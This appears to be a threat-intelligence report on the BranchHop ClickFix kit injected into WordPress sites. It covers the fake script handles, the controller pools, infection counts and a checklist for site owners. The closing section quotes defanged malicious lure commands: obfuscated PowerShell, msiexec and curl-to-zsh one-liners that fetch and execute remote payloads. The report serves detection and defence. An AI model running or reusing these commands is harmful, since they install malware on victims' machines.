BranchHop ClickFix kit

Two fake WordPress scripts

BranchHop gets into a site through WordPress's own script loader, so its tags look like ones a plugin would print. One version registers a script with the handle custom-inject. WordPress prints it as custom-inject-js, pointing at another domain's root path made of six letters and digits, with ?ver=1.0. We found these tags between 31 August and 5 October. The controller domains and paths change; the handle, the version and the shape of the path stay the same. On a few sites the injector misfires and prints its own PHP source on the page.

The other version adds a deferred script with the handle wp-core-js, loading an external path with a ?ts= timestamp. WordPress core has no script by that name. On almost every page that carries it, the same injection also writes a tag with the id ic-tracker-js, the tag Sekoia describes in its "IClickFix" reporting.

Both tags load the BranchHop bootstrap from their external addresses.

A pool of controllers

Most BranchHop sites use a third form: an inline script that decodes a list of URLs into window.us, takes the first one, adds a timestamp and loads it. If that request fails, it moves to the next address in the list. Taking down one controller only moves the site to the next. A build seen on 2 November 2026 drops the encoding: a script just before </head> holds the URLs in plain text, each a short path token on a controller domain, and adds a timestamp to the one it loads. We found it on 18 sites hosted on the same server.

On some sites the tags were pasted into a page builder's HTML block with their PHP still in them: ?ts=<?= time(); ?>. The PHP never runs, so every visit requests the same literal text as the timestamp, and the script still loads. We matched this on 8 sites from 8 October to 6 November 2026.

A build we captured on 11 November 2026 sits at the end of a WordPress theme's own select2.min.js. It fetches a path on the controller that serves the wp-core-js tag, reads the reply as text and loads that text as the next script's address. If that script has not loaded within 25 seconds, it removes the tag.

What comes back masks the page and loads two more stages: a fingerprint request ending in ?fp=1 and a stage carrying data about the host. The stage files have short names such as bghh.js, ggg.js and mix51.js.

What we see

Month	New sites
September	645
October	918
November so far	311

Of the 758 sites recaptured at least 25 days after their first match, 635 were still serving BranchHop (84%). 95% of BranchHop sites captured since 25 September run WordPress.

BranchHop shares sites with other kits, including LenAI, BW panel and DriveSurge.

Checking a site

View the page source and look for:

• a script with the id custom-inject-js loading another domain with ?ver=1.0
• a script with the id wp-core-js-js, or a tag with the id ic-tracker-js, that you did not add
• an inline script that builds a list called window.us
• script tags ending in ?ts=<?= time(); ?>, often in an Elementor or other page builder HTML block
• code after the end of a theme or plugin script that fetches another domain and loads the reply as a script address

Caching plugins rewrite script tags, so also search for the same names in data-src, data-rocket-src and similar attributes.

powershell -NoProfile -c "$z='vericheckusgo[.]com';@(0)|Write-Output|?{$true}|&([char]37){&(([type]'ScriptBlock')::Create($(@(0)|&([char]37){&('Invoke-'+'Rest'+'Method') $z}|&('Select-'+'Object') -first 1)))}"

[Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12;Invoke-WebRequest -Uri 'hxxps://nonprofitrole[.]com/GMthlyLoTD7g5J4UnA' -UseBasicParsing -OutFile $env:TEMP123.ps1;powershell -NoProfile -ExecutionPolicy Bypass -File $env:TEMP123.ps1

powershell -NoProfile -c "$z='seccheckusr[.]com';@(0)|&([char]37){'jq38k'}|&([char]37){&([ScriptBlock]::Create($(@(0)|&([char]37){&('{0}{1}{2}'-f'Invo','ke-','RestMethod') $z}|&('Select'+'-'+'Object') -f 1)))}"

MSiexec /PaCKAᵍᵉ "hxxp:\\preconnecto[.]com\IntegraTester.php?ver=34323455" -Q

iwr -Uri 'hxxps://freeviewstats[.]com/AC9plOxhIayQRojYd' -OutFile (Join-Path $env:APPDATA 'spai.ps1');

powershell -ep bypass -w h -c "iwr 'hxxps://degpoints[.]com/setup/49fnea/Client_f5cb30.exe' -OutFile $env:TEMP\a.exe;Unblock-File $env:TEMP\a.exe -EA 0;start $env:TEMP\a.exe"

powershell -NoProfile -c "&((Get-Command|?{$_.Name -match ('vok.'+'*Re'+'st')})[0].Name)('goocloudcapf[.]com')|&  ((Get-Command|?{$PSItem[.]Name -match 'vok.*Ex'})[0].Name)"

curl -s $(echo "[base64 of: hxxps://linen10[.]com/curl/9aep946cs/qtnnzugfs6o7d8lkg7t.json]" | openssl base64 -d -A) | zsh

msiexec /PᵃCᵏaGᵉ "hxxp://vinderforent[.]zone/lntegration" /Q